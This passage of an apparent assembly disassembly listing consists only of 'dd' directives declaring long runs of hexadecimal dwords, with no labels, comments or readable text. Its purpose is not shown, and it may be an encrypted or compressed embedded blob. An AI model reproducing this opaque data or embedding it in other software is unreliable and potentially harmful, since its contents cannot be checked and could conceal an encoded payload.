0FF4AE14Fh dd 4957005Dh, 0B3BBECB9h, 8D0365A2h, 623BD452h, 0D6DBD0FEh dd 1A630090h, 0DF3CFCBEh, 0A90003ACh, 2DB28909h, 0D79D55h dd 68DB611h, 9192E287h, 2EE2B1Eh, 7E8941C0h, 1FC1CC3Eh dd 4BCF75h, 8A246DC4h, 40007B09h, 161EF9FAh, 3CB5774Fh dd 4B00B0E8h, 0DE5B1DF8h, 83B640Eh, 88D35Dh, 4E579E8Dh dd 6BF3CDh, 6358E831h, 5E5B562h, 0AB26E00h, 8540B893h dd 18DD60h, 0C20217F7h, 0D600549Ch, 1C1D8F45h, 5C2DCFh dd 4CF0C8ABh, 0E5804B77h, 9C335400h, 0B425B9FDh, 93560072h dd 264296E7h, 0C5004D65h dd 6A3EEE4Ah, 62F90Bh, 0E6F48B3Bh, 18340DA0h, 33DCA314h dd 4CB100B4h, 0C279C95h, 59B600C0h, 0DDE8EA8Fh, 5702600Fh dd 2F13BBFAh, 870743D0h, 14481C90h, 0F34A007Ch, 5D5A5E93h dd 0ED008EB5h, 0D226662Fh, 0A9AA4Eh, 78987758h, 74AF8CAEh dd 0CA7CC200h, 666FA863h, 0EABC0080h, 1C601ECDh, 68003ED7h dd 0D2287D6h, 28D2A9B3h, 0A0B85384h, 7ED75B15h, 2DAE03F6h dd 6361BC3Dh, 62C2A5E0h, 0F4D18007h, 0FD80E188h, 5C2DC532h dd 8D00DF1Ah, 0AC05155h, 0CD00C46Fh, 8B2CAD78h, 4ED017h dd 0AAE31CD4h, 603F7B37h, 6878FA09h, 0C0400EAFh, 461C5AC4h dd 8BA900EBh, 99ED3676h, 643E65A6h, 0E6F30545h, 9CC5C19Bh dd 0B620800h, 0A70E1h, 879CF2A7h, 1C72028Bh, 461FE700h dd 1A4FDE40h, 3B820363h, 0F564608Ah, 294A1E00h, 995AE6C1h dd 70B700A8h, 0C691161Bh, 7F017C03h, 0E345F5BCh, 0D3C84C19h dd 0B4FF0198h, 637722DDh, 8734208Ch, 0A2B07F00h, 72518F6Eh dd 36030019h, 24A09F33h, 0BA00B561h, 1B4D44B8h, 65DFE3h dd 37C5627Dh, 3E14EC19h, 2CBFE100h, 0EBD027D3h, 6E77ACh dd 0CC081C10h, 0C96201D5h, 0DCB65903h, 3CD716h, 67065130h dd 13F01ACEh, 82700A02h, 601E97C4h, 1B7E7CCh, 0BA1B6BECh dd 0DC1CA346h, 5DFA0B38h, 0BF436700h, 0B31EF409h, 5CCF008Fh dd 0CE190F34h, 3670FE9Eh, 0C00147E4h, 3AB7459Ch, 0B3F0688Fh dd 0FBD40064h, 0A5EC71B2h, 10302F2h, 38F3174Eh, 0E270B8E8h dd 589BB7h, 71C7561Fh, 0D400D8C0h, 2055E12Eh, 0A7A9F2h dd 4FA94E7h, 1D7D3D7Fh, 0ACDE8101h, 0E6C08458h, 0E74024h dd 0D4360889h, 0DD754A67h, 635B2813h, 0C7527800h, 72769Fh dd 5AFE4F46h, 427B9C0h, 620F3B00h, 0D79ACC8Bh, 5CF50052h dd 0F6A93FA5h, 8E008678h, 14AD423Ch, 1E889FDFh, 401987F9h dd 0E5CEB097h, 0AF266FEEh, 4B804166h, 3978857Eh, 0D9B81FA6h dd 4E0E3FE9h, 0CC6007AEh, 29793132h, 75220500h, 0A2AD505Ah dd 0E934159Fh, 2F00C83Eh, 42B90FDFh, 0C7F68AA1h, 0E4521400h dd 5AAAA5D9h, 16320E67h, 0D2BEEE77h, 0A30F0F6Fh, 2EC6EAC0h dd 701FFDBDh, 0DF80B4F8h, 4613A745h, 0D4650067h, 1609FA43h dd 17BA65Eh, 0CAABCF00h, 7694B687h, 9D4F00DFh, 0C3AC0543h dd 0F13B98B3h, 0E4810F92h, 0C671E0CBh, 0C7E81Dh, 585B8C54h dd 628FAAA3h, 0A526D400h, 0AB2A16CAh, 0AA20004h, 630E93AFh dd 0EB021725h, 3F7F3507h, 10286071h, 768DFC7Dh, 900D04DCh dd 0FE0318E4h, 0B1B5A880h, 70709D37h, 0A331FD62h, 3E14614Ah dd 39EFFCh, 0F04DCA32h, 2705A501h, 632C9098h, 69404410h dd 1B948CCh, 3D12B4A8h, 21C3B056h, 0C6FBFC7Fh, 0F27C1674h dd 72338B00h, 0F30DC0E4h, 0A85504A5h, 0C0D527A9h, 8952825Fh dd 0F130FE60h, 0C82241h, 2886297Ch, 8C13D24Dh, 0C3730300h dd 44B75712h, 7DB84CD9h, 0F64832Ch, 0F9DE300Ch, 20B6E867h dd 35C710D1h, 52370B00h, 0F238E980h, 61F31FF7h, 8FB5001Dh dd 8C5E90AEh, 0B97CE300h, 0CB66D3CFh, 0CE2009Dh, 2B52BE57h dd 0BC003F82h, 185C3BCCh, 7842B822h, 7DA607B0h, 0F0D9361Fh dd 0A73D8050h, 9969C01h, 5371A0E1h, 9873B5ECh, 7EAC00E0h dd 0FE67532h, 58C0C0D7h, 0CD180CE8h, 3E72002Ah, 0D4979242h dd 38C04E16h, 8AAD9917h, 905A00C7h, 0BA68A79Bh, 0DEE27D0Fh dd 4A65C300h, 4997B6DAh, 884400D7h, 5A071FA8h, 0EE00CEFEh dd 0D5BD083Ch, 7464E5Dh, 0F87FFDCBh, 48A20932h, 0AF0023BFh dd 1C39595Fh, 0C0DA21BAh, 63D19448h, 7A172660h, 8440E8DBh dd 0F567C8FAh, 23B73F44h, 0A34B0276h, 2AEF943Ch, 0F0C7A8E9h dd 8C76C585h, 7EC3D401h, 68D5E48Ah, 20E2C20h, 0EC9DAA09h dd 1460E1B4h, 16004DB7h, 56E832DFh, 26552777h, 814CF9h dd 6C363B89h, 59727CBEh, 9E7EC000h, 5B427776h, 0F39A075Ah dd 6431D3F2h, 0A7B887AFh, 9199D07Fh, 110090D1h, 0C53FF9C3h dd 367CA8h, 0B5B4BA8Fh, 0A502546h, 11DD2000h, 28665C0Eh dd 7C5F0008h, 28E1C51h, 0F2381432h, 2F9E807Fh, 2DB7E1B9h dd 0DB30176h, 2C85331Dh, 0A5842020h, 0F1415105h, 8C8067BAh dd 3C68BAEh, 0BC1BCF0Dh, 0E0094E5Ah, 8063E3D5h, 1C90B376h dd 3AD80043h, 0C85ACFE7h, 8B725154h, 6239137Ch, 7B145C22h dd 78CC7300h, 8B9B8EA2h, 329000A5h, 9247D31Dh, 0A82ED16Dh dd 1044A28h, 10A19427h, 4D7818EEh, 5B580h, 271F6652h, 476FBD48h dd 0D543E10Fh, 13D46019h, 0CA8598h, 0D3EB8873h, 52A4BF71h dd 2FFB1703h, 784B8428h, 603E3B28h, 3A4AD880h, 0B0154C81h dd 5C767C90h, 0F4ABE200h, 0DA922557h, 3AA27C77h, 6A0047EBh dd 2384AE06h, 4F03F582h, 0A0C7857h, 9C40AF61h, 0B27C19h dd 7D802CFBh, 5EC1CDF2h, 45BD0500h, 0D3819598h, 5DA403FEh dd 0B2D4AAFh, 5C01E8CEh, 7A3141BCh, 0B3D4848Fh, 0D21B01E7h dd 4922AE23h, 2F442479h, 787E0E17h, 0EEC85400h, 0F1BECEh dd 0AACF0AACh, 0CD942532h, 0C4D48500h, 26E4E75Eh, 351E03F6h dd 5AD16F1Ch, 172DB2F0h, 4FF0681Fh, 0FAA7A6C4h, 0D1DBFC80h dd 8CCF16A3h, 0EC8C4F7Eh, 45FEC0E7h, 9BC0405Dh, 883A0F8Fh dd 0D6C67000h, 0A2C57DCFh, 0C9640173h, 0A992BBF6h, 88CFC8Dh dd 1A000B8h, 310301DFh, 5FAD7E82h, 8BF89120h, 76381860h dd 4C790732h, 9BC91E1Bh, 30AEB00h, 6324D5A1h, 4300EC1Ah dd 5DB56093h, 0D72B0076h, 4FFDA8ECh, 4B004A14h, 0C2C59877h dd 0FA46F22h, 43F1948Bh, 8702BA60h, 900050F2h, 99D43EDBh dd 10DDE68Ch, 8F0130h, 0CB63B77h, 3054F0E1h, 30843543h dd 0E509BD58h, 69388Fh, 18456CF8h, 37CB005Eh, 754FE087h dd 28006DEEh, 1FE18157h, 115A3B1h, 7388ACEh, 20444202h dd 88528D64h, 0E16983A8h, 4FDE8851h, 0DF02066Fh, 1050A453h dd 0A2A64Ch, 0E629BC54h, 918FBBh, 92DEC1Bh, 693F6547h dd 0A8110200h, 721F6B0Ch, 676200DDh, 0E7E93D87h, 0E0724D37h dd 7DDF9203h, 0C054630Dh, 153F9B7h, 0ABB69712h, 208CB2F6h dd 0F31E8004h, 2ACFFC4h, 74180F3Dh, 0F03FE0E0h, 1B82C49h dd 3E48F350h, 34643184h, 3A18E70Ch, 832E6E39h, 0E3222855h dd 261978A9h, 195C53h, 0B3034A3Ah, 0A8C0AB1Ah, 4154CEAEh dd 6C5D009Fh, 7DEF1261h, 10F8B794h, 80BDBB3Eh, 0FA7F430h dd 11DD5F0h, 0E4543D88h, 202985D2h, 1A20BB60h, 78DE167Bh dd 0ACE04298h, 0CC68D787h, 0B35C3710h, 5300704Eh, 0BF0B517h dd 6647E3h, 1129B95Bh, 0E4DEBB9Eh, 3461AD06h, 88DC50h dd 33C20FD0h, 0AC519167h, 6EABF107h, 0D07C7043h, 35BC0018h dd 0BF4479A9h, 0C0006310h, 88DD0BBDh, 0C089764h, 8B05317Ah dd 7B0004A0h, 3E0AE39Ch, 7F96A16h, 338D3C7Fh, 99602F2Ch dd 0C2044EF8h, 0AEF66400h, 0C501AA97h, 0AF6D0F26h, 29A0CFE6h dd 2B6C070h, 123D760Ch, 1E4688A9h, 0C0EBD8E3h, 0CC094E45h dd 0F21F22EAh, 541DFAB9h, 0A468C380h, 0A35BABh, 4A4899E2h dd 92283F10h, 25CCAF00h, 8CE4EFDCh, 4B4C00B4h, 0B0079ED5h dd 0F7002771h, 54F9A0A3h, 4BC7FF5h, 99FD3EC5h, 0D360875Bh dd 6498D519h, 571FCC70h, 0EB403C40h, 5032ED21h, 1A870025h dd 6964D479h, 0D8A4BC6Fh, 40770908h, 40D24426h, 963E380Dh dd 0FFAF3B72h, 6FF90A80h, 81D88C22h, 1E80A75Ch, 0AD5FA389h dd 7400A8D7h dd 0A4188E5Ah, 4E6907BFh, 70F548EDh, 0D9069977h, 0ACD33F00h dd 0BD03C488h, 5147105h, 0A078BBCh, 0FCDC1C32h, 9956D508h dd 0DA31A001h, 88038E19h, 2E863DE0h, 9E1F2C00h, 3157AB9Dh dd 0BF653E67h, 0ABC4080h, 8A7946D2h, 0BEA3EB00h, 8E6770C5h dd 3B820066h, 6CABCCE6h, 9E116A8Bh, 0B22C39D9h, 2DC20FFh dd 1D4DD174h, 0C681C6Ch, 6A00484Ah, 3B2D6EF2h, 372B28h dd 1018D827h, 7986F7D6h, 8900327Bh, 0DF7F2107h, 0F228A4Fh dd 46D16E1Eh, 97C080DDh, 473841A4h, 56A27113h, 0D3C200FEh dd 58E7F5F2h, 12D4C600h, 77F1B573h, 1DED0E3Ch, 6D81A361h dd 0E151A9B6h, 8E65D095h, 73E520Ah, 0B202D832h, 8F58E468h dd 0EB90B90h, 1A61E0E4h, 1F432FC0h, 40CEEF4Bh, 0C20205DFh dd 15286E45h, 0CC00F06Ah, 6556E5A8h, 9036C9A7h, 0FCC40493h dd 90FBB0B5h, 99ED3508h, 905CA800h, 14FAA4A0h, 8A90968h dd 0C0A09E4Fh, 0F8B49A09h, 5493C012h, 0ABDA8C80h, 1E1E7764h dd 0C0D57FC6h, 3D606755h, 0EA010199h, 3E842B4Dh, 0E03E8C50h dd 6B03C2F6h, 2444EFB4h, 0C47BAAF7h, 0BFD33CA4h, 0B214A180h dd 0A3DA1FB5h, 0BBB88500h, 0D5BF408h, 0B88C062h, 8E357FBDh dd 86106163h, 82BEE83Eh, 18D509E9h, 348060D2h, 8E5122B6h dd 0B0916FFCh, 8CB6740h, 0AAD707D1h, 998DF3D4h, 0FC00468Bh dd 15DFB944h, 4D0066FEh, 0B628421h, 410D20h, 69AE711Eh dd 0FCD77BBCh, 4C6DA400h, 0D282B2D0h, 73C00019h, 13860F48h dd 0B000440Bh, 321002EAh, 193E75h, 184FE5ECh, 0DDBD3ACAh dd 2974AF00h, 55BB5A4Dh, 20EB62BEh, 8CE1650Ch, 83119E3Dh dd 0EE8624C0h, 10BB6F8h, 0A12E0A4Eh, 0E4DC57E1h, 0EA00038Fh dd 0A9636EE7h, 7260FCh, 0AEB7A299h, 6FF1F02Dh, 715BCF00h dd 3108E597h, 0B0030010h, 287D3A88h, 9900E374h, 3060ECB3h dd 9E2C0Bh, 1AA9AA54h, 453E246Ch, 0F1D3F200h, 0C364E9C1h dd 11A890A7h, 0D439EAh, 0C0D09DCh, 77F55Ah, 0DDD66438h dd 296F7D97h, 625E1900h, 0E2B92A78h, 0CB7B50h, 1B3CEEC3h dd 9ADD1AEh, 40AA9C00h, 0F5BDD8B2h, 0DAF0051h, 8F906766h dd 8000E99Fh, 1F0ABA5h, 0EC448Bh, 0AFC45669h, 57D47DF6h dd 294C248h, 9FFE9399h, 0B750433Ah, 0E050C81h, 74B7C8FFh dd 771C90CFh, 81180063h, 72CB70D7h, 6C00FA21h, 62FE8B10h dd 3C3DE0B5h, 3689BB90h, 0F4865211h, 6F006026h, 9CBBC97h dd 7D928D64h, 0E1C701B4h, 635F7C67h, 54D8FBA2h, 0CD00EAAEh dd 1E5725A9h, 0FBCA7Ah, 16C6FC7Fh, 0EC3A02E2h, 0B875EF00h dd 0DFBA3E31h, 187A0194h, 0E71ABED7h, 26FAD02Eh, 0E4001FE4h dd 20E56C9Dh, 74B948h, 67F7477Dh, 0E1168544h, 3F00EC7Ch dd 0D7A36927h, 0F59E4A6h, 0F8FF2672h, 0F3941360h, 80F3CBD0h dd 57853558h, 26D2C1CCh, 8380399Dh, 9B09F9C0h, 0B09C00A5h dd 29484BB1h, 0DA95E900h, 0C836260Dh, 881C3FCEh, 0F1E788E0h dd 1D01A8ECh, 1FDFA99Bh, 0F2D8D5ACh, 0A6D7DD7h, 9D85106Fh dd 87600A8h, 0CA1C7835h, 0BB3B4500h, 212E2933h, 5A9C3803h dd 1EBDA300h, 0B5EB0A79h, 614D4F1Dh, 0AF5BFC01h, 0A2CCE046h dd 7F3D7B7Fh, 0C98600ABh, 0A02E016Dh, 0E87C5575h, 0A59A4700h dd 530F433h, 0BC100E1Fh, 0ADE1DA17h, 64FDD803h, 0E504A984h dd 1C14611Ah, 0C1735890h, 0D64F4809h, 670A4209h, 0F0812C8Eh dd 40541246h, 4DC19690h, 0D31C2A00h, 0A061F585h, 6B60000Eh dd 0FC0A174Eh, 0CDF4E63Dh, 0C93F1601h, 0A21EB159h, 127B1080h dd 0E1B7DE90h, 0C5973900h, 6F5AFF5Dh, 0ACD10CF7h, 328A186h dd 24001FE0h, 83B19FD8h, 0A42EEFBh, 25B775ADh, 4DB40088h dd 0F0C35726h, 1AAABF0Bh, 631022E6h, 866CC8ECh, 25D01756h dd 7300875Eh, 99E83243h, 870062F4h, 4A7C4BC3h, 3CB65B7Fh dd 598F4FDEh, 0BD63601Dh, 0F00049CEh, 0B2D571EFh, 24B90780h dd 0C2C6Ch, 0B170F55Eh, 0ED07935Bh, 73806BD9h, 0BBBF59D0h dd 2C01038Fh, 8205DA09h, 6E88AE1Eh, 0D452007Eh, 0DB3B34B6h dd 89FE1Bh, 0EB414540h, 0B04DF99Bh, 5C00C57Eh, 6D9A118Fh dd 38C0A71h, 90A22776h, 0DEA0A523h, 0A80096BCh, 0B0C73FD5h dd 410FCh, 24737C35h, 0D71B979Dh, 90059212h, 58F7008Eh dd 819FAE61h, 0D673F8h, 17DD107Ch, 0C8A198E0h, 1428F709h dd 733C9849h, 2B4E80B9h, 1CA8A714h, 0D0E200E8h, 190F03E3h dd 827900F1h, 0B6FE4149h, 0BF495485h, 559B070Ch, 0F4800F31h dd 17AAC50h, 0C80EEDD4h, 0EC1C5BE9h, 0F0B0CC84h, 0DC0BF24Eh dd 0ADAC105Dh, 0E87300ABh, 0B1339723h, 0BB4CC744h, 81FA1208h dd 4A00101Dh, 0EF90082Eh, 0AACA3B70h, 0F8797394h, 4972C400h dd 0C147EE6Ch, 18E80524h, 0D2E0C800h, 91535Ah, 889A8D61h dd 0E3CE33EEh, 4A6FA81Fh, 230AAA80h, 5BFB949h, 2C752A0Bh dd 0B5B48041h, 2F0084CCh, 6F4F456Ch, 0EF4E1Ah, 0B977FB3Ch dd 0B2BCE307h, 0B82C3F00h, 18AC53F3h, 979C01C3h, 76703949h dd 74F04088h, 0F33B80BFh, 0F9C3007Ah, 1DABAFA9h, 681C5823h dd 3F02C938h, 0A67832D4h, 30DB1A40h, 1D1BD507h, 0A0EF769Fh dd 6770FFD9h, 0ED052673h, 1F0204Dh, 0EBE8D2B6h, 60626F36h dd 3D00DC40h, 32747B27h, 0B5722Bh, 6FED4D4Bh, 0FE6E665Fh dd 5591B800h, 0D84FDFC7h, 7C411870h, 0CA57110Bh, 0BA92C017h dd 0E6DEDC44h, 0F3C13881h, 1D5A9FCh, 0A8956EA7h, 703E3A56h dd 5C09BD84h, 0A1DC872Ah, 59ECD5D0h, 57DFBECh, 0F8C69BE3h dd 0B074C069h, 0CA05EF8Ch, 5C22240Eh, 2F166180h, 82700Fh dd 28086A61h, 0A5F765A6h, 48A3B00h, 5CD5EF15h, 0E461001Bh dd 0F1771C8Eh, 9000AAAFh, 6FD0A59Dh, 6EB7BCh, 9BD7D8BAh dd 0B1E30F9Eh, 8200037Dh, 4F2CD320h, 3E9CD695h, 570035A8h dd 0F2AF8612h, 0CD00EE64h, 0CF8BF087h, 83D80Fh, 0F8E2BF44h dd 373113C0h, 5B160400h, 56D458DFh, 982EC79h, 0F9DA73EBh dd 23C1E020h, 0EC005DD8h, 0FCD41210h, 0F6E74354h, 9CCF0050h dd 2F04BE38h, 8100BA55h, 1EE02CE3h, 0E8C80Dh, 7A87BB41h dd 0D72151F4h, 0A0721300h, 449BBFA6h, 944B4977h, 2593B900h dd 8DD15634h, 0DB030203h, 1F53C0F9h, 264E3620h, 11411950h dd 0E38AE066h, 1200A6B0h, 29A01DB7h, 0A5FACCh, 7ABA544Dh dd 2E930A25h, 9E5CCC9Ah, 6E5C7701h, 0D15B02A6h, 848AFA8Eh dd 76009C10h, 860F7A9Fh, 0DA840CA0h, 62C5B607h, 33F0CC46h dd 3E4991h, 0E91F70A5h, 583904B5h, 0D31B757Fh, 0C8902A20h dd 75BC27Bh, 9162F6D0h, 0C1C08037h, 42035247h, 1E355AB3h dd 0C11C0A3h, 838700F8h, 0AB5CA02Ch, 0E474BF40h, 5A008F71h dd 9FBB3744h, 16B5D75h, 8D6F3A8Bh, 0E4E08E97h, 8C3C67BCh dd 0B1333056h, 1E25DF6Bh, 80B60C3Ah, 3D408539h, 791415F1h dd 0A0AEA9h, 5F0B8356h, 399198B4h, 0A880F810h, 0ECCFFBD7h dd 251E018Eh, 0B783E6A6h, 39D1DEDh, 0EA09FF38h, 75C0E912h dd 0FA00F9E1h, 1173D09Fh, 189E2C17h, 89C89760h, 0BB008681h dd 0F66F055h, 95FE4h, 0F23D4AF4h, 0C9E3A590h, 3F53903h dd 0A8261241h, 6E9EEEC4h, 9E411Eh, 87755F6Eh, 0C000E507h dd 25451244h, 5FADAA80h, 2DF402A6h, 54488A7Ch, 9B38C22Ch dd 0A7D10106h, 0ED57E9DFh, 0F082A70h, 707BC97Ch, 980AA2E0h dd 1800410Ch, 0DBA4E2E1h, 25BF96Fh, 0B70817FDh, 0F85A9F90h dd 0CC3BE300h, 38EB5AEEh dd 58E6A5h, 0A61DC8CAh, 370D4B18h, 7003395Ah, 80FAD57Bh dd 95E8FBh, 7FB8EDF0h, 0B6C3A8C4h, 0A30F51C1h, 840A04Ch dd 29972C6h, 54C201C5h, 0D683A470h, 0B8C31975h, 9D7FB3B0h dd 13E23901h, 3B97C88Ah, 4E690FFh, 0EEC5008Ch, 0C1A443C6h dd 870EFBF1h, 479B5Dh, 0D3CBF633h, 0C2C90035h, 0BE64CC10h dd 19014AE5h, 7C50D78Bh, 15207508h, 0FC55F0BFh, 0D87649h dd 214A74E9h, 0F5F3D042h, 72C79801h, 0C6472AD1h, 0BE18F4h dd 0DC305AC0h, 19375312h, 26AFEA00h, 9A17F546h, 0EF6A0020h dd 59DAF7ACh, 661C933Fh, 1E7CBEC2h, 79402847h, 163708E3h dd 54E60AABh, 5504EEC6h, 6FAC00DEh, 0BB812E28h, 0E22CCAB4h dd 670667B7h, 28863Ah, 840A098Eh, 0EDBEE82Bh, 0BD81C300h dd 0DCF1E312h, 29A40067h, 0EB7F5282h, 4A808F13h, 0DD4288EAh dd 2E28DA8Bh, 26940D88h, 0D7F51128h, 0E1047C21h, 12028E27h dd 0CB02B897h, 4E025D8h, 48211F14h, 6AB7410Eh, 2A3401EEh dd 0DA10A812h, 0E2AB8B99h, 50A35178h, 0F11806DBh, 2F299636h dd 410C89E6h, 9A05FE3Ch, 4051E229h, 3C41A8B5h, 1BA4CE70h dd 0CFC600E8h, 24B7710Ch, 75023600h, 65D147EEh, 68E4D4h dd 0D5349B94h, 0E40B5379h, 38AD2803h, 0B0C1EAFAh, 0C00243h dd 0DA1A5DCDh, 96264CF0h, 0BA3E6C00h, 5F7A74CCh, 56B8A3h dd 761530F7h, 0AC514BFEh, 2C4C4D00h, 70037C8Eh, 89D3E82h dd 0CA169800h, 0E646E5CDh, 0C47DCB00h, 6F3F340Bh, 68AC0084h dd 4D860911h, 3707963Dh, 0CE1AD67Ch, 40F5EB32h, 9F1C08h dd 7983A7CBh, 0DC6DBCA5h, 39CD743Ch, 0F6488045h, 0B57A3AADh dd 85A000BAh, 697D063Fh, 53002692h, 6A434544h, 0C660C2h dd 75862BCDh, 0C1B735A4h, 27735F00h, 3B96F236h, 0E0A33922h dd 0CE0E9Eh, 0A8F7AFDFh, 0E548E14Ah, 88A47E60h, 5A0A4200h dd 24B42FE8h, 41EE00F3h, 0D64DA1AEh, 2A00E69Bh, 3B3C34D7h dd 0B731F5h, 0C5AE3382h, 0E9916338h, 7D711800h, 1A56607Ch dd 4BC9003Eh, 89D1A7A6h, 8F1E53CDh, 0B2A83CA4h, 470A3900h dd 0ABB15B92h, 3DC0005Fh, 2FC46827h, 38E6FC62h, 0AC950300h dd 3286395Bh, 2425002Bh, 8DCF2E01h, 53000715h, 69D34EC1h dd 54F63BEh, 88FDEA1Ch, 0BDE3C02Eh, 0FEB05649h, 30052FAh dd 1CC1A8B7h, 9E6CBBh, 27584A0Bh, 50F3335Dh, 758A1200h dd 0A7817FF9h, 0C91A07B5h, 6B697A9Bh, 9C126502h, 83A0DC80h dd 7C00D21Dh, 2DC2273Fh, 0ECD44A4h, 0C0AF5F11h, 4B5CC160h dd 54050607h, 7E6D78A8h, 0EF34C300h, 0F7841208h, 0DD48D8h dd 51BDAF4Ah, 371DFB3Ah, 711F8F00h, 0A8A1DF0Ah, 0E6F479D1h dd 86001F0h, 9410B816h, 571922Ch, 0AB352020h, 4C4E0E5Ch dd 0B2A2F4h, 0CFE4B779h, 2A5B1F87h, 0D20FA0F8h, 0FDA04ED8h dd 209DC7E9h, 72A63Ch, 0DD2C1002h, 4CC68B3Eh, 7D00687Ch dd 33E571F4h, 0B7488FC5h, 20CF1710h, 0EC046B05h, 41AFE881h dd 7859ECh, 0B8D711FEh, 0C7D3E440h, 36005F70h, 72534BCEh dd 142B9D45h, 0F4F35798h, 0C8422C03h, 8BE0311Ch, 41000EEDh dd 0CAD7DFE4h, 185249Bh, 0E521615Ah, 0C8053AA6h, 0DF014635h dd 0EFE1AE06h, 0C07B4382h, 661F0308h, 9DB1BC07h, 90107CE5h dd 3CEC2D36h, 7F8B3565h, 0F500C232h, 77FBD6D4h, 34E60A0Ah dd 5D0F99AEh, 0C46B20CEh, 0CD8309h, 81E18AF8h, 58F47318h dd 0C01D1100h, 54690B6Ah, 9ECE0B3Eh, 0A08049CAh, 0EF2A6C82h dd 0C435E600h, 6DC2B82Eh, 7F26008Eh, 47F1F459h, 0C600AC93h dd 91FE7D50h, 3DAEABCh, 289EDB3Dh, 0E7A85644h, 0BA07465Fh dd 67694E37h, 688FD2E0h, 0B5180055h, 7194644Fh, 8300A83Ah dd 45E633F4h, 0A0524DE4h, 44ECDA4h, 57046AA5h, 0BB14D285h dd 8E768B60h, 0D8B7B400h, 0AD09205Fh, 486B071Ah, 80885BC2h dd 45EA40CDh, 68BB1801h, 8D3AFCD2h, 63AE70h, 0E3ECFA1h dd 29C9B204h, 0D8EFA03Bh, 5D010412h, 1680EC0Ah, 3E1D39F2h dd 5C001984h, 1E08A4B2h, 0CC983BF5h, 0F01312F8h, 3040C85Fh dd 0CC5EF6EEh, 261A02C0h, 553AA733h, 8B94B881h, 25A43032h dd 0C2A80800h, 0CE0D7485h, 0B0E459E6h, 61746C24h, 0C44CEA0Fh dd 0AD00C472h, 9DB88CB6h, 0D733DAh, 1D5939D2h, 6038DDA9h dd 0FA1ECCB2h, 8870EA15h, 727E02Bh, 4FE79310h, 0A1C41024h dd 940086EEh, 2D928CC1h, 2547B5h, 0DF59E15Dh, 295C1990h dd 97756A03h, 0C8091D81h, 0E65016h, 98658594h, 8A44830Bh dd 0FDD47600h, 73325D82h, 0FF2A4870h, 0D096000h, 59C9BA9Bh dd 47755A00h, 1DF3BC3Ch, 1F8D00E0h, 6B45B283h, 0B2B009A5h dd 0D8739103h, 0A8256FB1h, 0CAA271h, 0AEDD9437h, 0D6E28898h dd 0C5865B03h, 0A01922EEh, 0CDCD41Eh, 3644EF75h, 9B007766h dd 8B679C9Ah, 36E79h, 0D299BB60h, 0A0F8179Eh, 0C646B107h dd 1F41218Fh, 0A7CC2361h, 1A872C94h, 0EE110094h, 7974AAC4h dd 5F9F7200h, 3F08E88Bh, 8F150943h, 0F800BDA5h, 0C6DC20D8h dd 0ED974703h, 0E8DFCB04h, 1AEF825h, 0DB313AAFh, 0C070D060h dd 700046Ch, 6569965h, 96F477h, 11185FD3h, 2A2FAD10h, 0D2810200h dd 0A9E4F5D4h, 1C280FBAh, 0EDC0A74Fh, 8F8B1466h, 0D2CA4806h dd 0FC21D044h, 18CE0107h, 16B64A2Eh, 101980E9h, 0D5C7438Ah dd 996B0046h, 137BEA86h, 4D3B5CE5h, 0A100FB96h, 0F8E1BFE6h dd 386E9h, 0EDD9F265h, 0B7D1B0FAh, 0C6797000h, 39AE7182h dd 0B6830043h, 0B12EB874h, 0BE0FECD5h, 405D4CA4h, 0DF8DF25h dd 818097Bh, 1087286Eh, 481F60C5h, 8107FD93h, 0A4A8BD75h dd 9CA37050h, 9CDFE9Bh, 5E8CA1FAh, 0EFAA8400h, 69009490h dd 166FF46Bh, 11EA80Ah, 0E2CAF72Ch, 314EBD5Fh, 6414D410h dd 61986E04h, 0CCC0AA73h, 0A2319105h, 0B0D449FFh, 0B2063DCh dd 0A2FD1353h, 0D9697080h, 600043DDh, 14EDE1Bh, 3C72DB54h dd 0CE803307h, 0C3CF29ECh, 0BD0CAEE7h, 70D7F30Fh, 1EE600D4h dd 6066CBB8h, 2A004575h, 0AC077864h, 73FFFBAh, 0BBD107Fh dd 0C12C80A8h, 6400977Eh, 1D727BD1h, 0EA4D3CCBh, 1FA300FEh dd 0DA4C6CD8h, 0B3E304Ah, 6157825Fh, 0C40CE278h, 2C70B0F0h dd 42F05E1Dh, 560FAA7h, 9E0F2F54h, 260E810Ah, 4C28394Fh dd 500075ABh, 8242F7D0h, 0A003DFBh, 0FF51B11Fh, 0C936857Dh dd 8A808E28h, 0EBE30764h, 52204B6Eh, 0E1689A0Eh, 0F0D578D0h dd 5C0EF840h, 0A64100FDh, 4CC06DE8h, 2107F557h, 17139A2Ch dd 0A812DFC0h, 3F640CB9h, 0C110B33Dh, 73E6EB14h, 0DAF28080h dd 0DC6B6h, 6A1F6F32h, 0EF73122h, 0D3762600h, 0CB921BE7h dd 65271FEBh, 2C0A80CFh, 9FA58A1h, 4122130Eh, 0BF812EC5h dd 2C0D4DDh, 1CAB6112h, 71722E54h, 8AB40094h, 0B674083h dd 0CC10B000h, 0ED5FAEE2h, 99260737h, 20DFA4BFh, 0E3FB4E40h dd 3A50C40Fh, 8E820796h, 0F3905DD7h, 6B8F3Dh, 558017B2h dd 0D2371E6Dh, 0C107677Bh, 0FB952F21h, 616C00A9h, 50D44146h dd 3D42D925h, 560FDC30h, 0BA4001ECh, 75EF03E8h, 3F00E67Ch dd 160C1451h, 7AFDDD20h, 0AD390073h, 0A2F83AC2h, 2412B642h dd 3400EFE8h, 5510917Bh, 7AE45Eh, 0A80F9816h, 0F3FE8AEBh dd 7AAE4126h, 0C11E611Ch, 0E7BE3880h, 37D3774h, 780B79F5h dd 0FF056DFh, 3F1D04E1h, 66C01DBAh, 7E715A45h, 0E3982C70h dd 640BBA4Ch, 340083D2h, 0C079A9F5h, 6A746200h, 0FE825630h dd 109700C1h dd 0F4516175h, 0CF007F42h, 0BE09331Fh, 9ACCDC9h, 97A4FE4Fh dd 8C93AC40h, 99020700h, 0BBA9926Ch, 86B00017h, 4A54C813h dd 6A7E2CD4h, 350084EAh, 82E846A2h, 7320BB32h, 0F3DF1E98h dd 80375E2Eh, 0C4A3B935h, 3800E5EBh, 1E655484h, 0DDFDD1h dd 3C5B0A7Dh, 73B69E62h, 318BBC03h, 0F7384D9Bh, 0D9D24AB0h dd 4FA00108h, 0C6FD5971h, 5BE0D207h, 6E0191F3h, 0CF3BC281h dd 0C7E890EBh, 61CB092Eh, 89803998h, 5E1049C0h, 869D2700h dd 5D2CA3F8h, 0C26F012Eh, 0EA2D3EACh, 189C408Dh, 9A2CA5FDh dd 492855h, 0EDEA020Ch, 0D23A0012h, 7EC384B2h, 3300B41Dh dd 95854C4Fh, 0B573B39h, 280AEA5Eh, 0B2BE4080h, 0B9009032h dd 1F1DFAD4h, 2EBBF7h, 